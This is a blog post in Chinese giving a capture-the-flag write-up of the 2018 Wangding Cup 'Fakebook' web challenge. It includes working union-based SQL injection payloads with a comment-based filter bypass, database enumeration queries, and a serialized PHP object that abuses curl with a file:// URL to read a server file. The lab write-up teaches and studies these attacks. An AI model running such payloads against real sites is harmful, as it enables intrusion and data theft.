suyumen
目前主要在学习web相关

网鼎杯-2018-Fakebook

2021-07-30 源码泄露 反序列化 ssrf file协议 联合查询注入
Word count: 921 | Reading time: 4min

一开始是这个界面。

面对这种复杂的界面(一堆按钮的界面)通常我都不会做。。

扫一下。

robots.txt有东西:

User-agent: *
Disallow: /user.php.bak

下载得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

一堆curl函数估计是ssrf
其中get()函数传参url

审计一下代码,

注册一下:

点了一下username

观察url多了一个no参数,此时是1,且是注入点。sqlmap没跑出来(可能是我用的不对),果然没有什么一把梭的事。。

url:http://32098146-a2d8-42dc-9b23-3f50dbf54dda.node4.buuoj.cn/view.php?no=1

其中注入一个单引号时,回显了:

1
2
<p>[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)</p><br />
<b>Fatal error</b>: Call to a member function fetch_assoc() on boolean in <b>/var/www/html/db.php</b> on line <b>66</b><br />

说明单引号没闭合。

手工探测一下注入类型:

1” or ‘1’=’1’ 报错,也没闭合

1 or ‘1’=’1’ 没报错

2-1 or ‘1’=’1’ 没报错

判断是数字类型

fuzz了一下,在我单薄的payload里,发现过滤了union select。可以用/**/绕过(由于内联注释/**/的语句MYSQL才能识别,可以绕过WAF)。

联合查询注入

前置条件:

  1. 有数据显示位

  2. union左右列数相同

探测列数:

order by 4# 无报错

order by 5# 报错

得到有4列。

探测显示位:

no=-1 union/**/select 1,2,3,4#

得到探测位是2。还看到了报错里面有反序列化函数。

查库名

no=-1 union/**/select 1,database(),3,4#

得到库名fakebook

查表名

no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’fakebook’#

得到表名users

查列名

no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’fakebook’ and table_name=’users’#

得到列名no,username,passwd,data

查行信息

no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users#

看到有一段序列化变量,正好对应之前扫出来那个文件的类对象。


说能扫到一个flag.php文件,但是我用dirsearch没扫出来……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct()
{
$this->name = "youke";
$this->age = 11;
$this->blog = "file:///var/www/html/flag.php";
}
}

$o = new UserInfo;
$a = serialize($o);
var_dump($a);

构造序列化文本。

得到

O:8:"UserInfo":3:{s:4:"name";s:5:"youke";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造payload:

no=0 union/**/select 1,2,3,’O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22youke%22%3Bs%3A3%3A%22age%22%3Bi%3A11%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D’#

查看源码,得到

1
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tmZDQwZTBkYS1hYzY0LTQ5YjItOTJlYy04Mjg0MjQ2MDIwNTN9IjsNCmV4aXQoMCk7DQo='>

base64解密得到flag:

1
2
3
4
<?php

$flag = "flag{fd40e0da-ac64-49b2-92ec-828424602053}";
exit(0);

Tips

1.file协议:file:///+文件地址。

参考

各种wp:

https://blog.csdn.net/weixin_43940853/article/details/105081522

https://www.cnblogs.com/karsa/p/12652311.html

https://www.cnblogs.com/kevinbruce656/p/12643338.html

https://blog.csdn.net/qq_45708109/article/details/107782523

https://www.cnblogs.com/chrysanthemum/p/11784487.html

联合查询:

https://blog.csdn.net/qq_37133717/article/details/93498444

https://www.freesion.com/article/16341067741/

Author: suyumen

Link: https://suyumen.github.io/2021/07/30/2021-07-30-[%E7%BD%91%E9%BC%8E%E6%9D%AF2018]Fakebook/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
尝试解决blog模板的滚动条bug
NextPost >
ZJCTF-2019-NiZhuanSiWei
CATALOG
  1. 1. 联合查询注入
    1. 1.0.1. 前置条件:
    2. 1.0.2. 探测列数:
    3. 1.0.3. 查库名
    4. 1.0.4. 查表名
    5. 1.0.5. 查列名
    6. 1.0.6. 查行信息
  • 2. Tips
    1. 2.1. 参考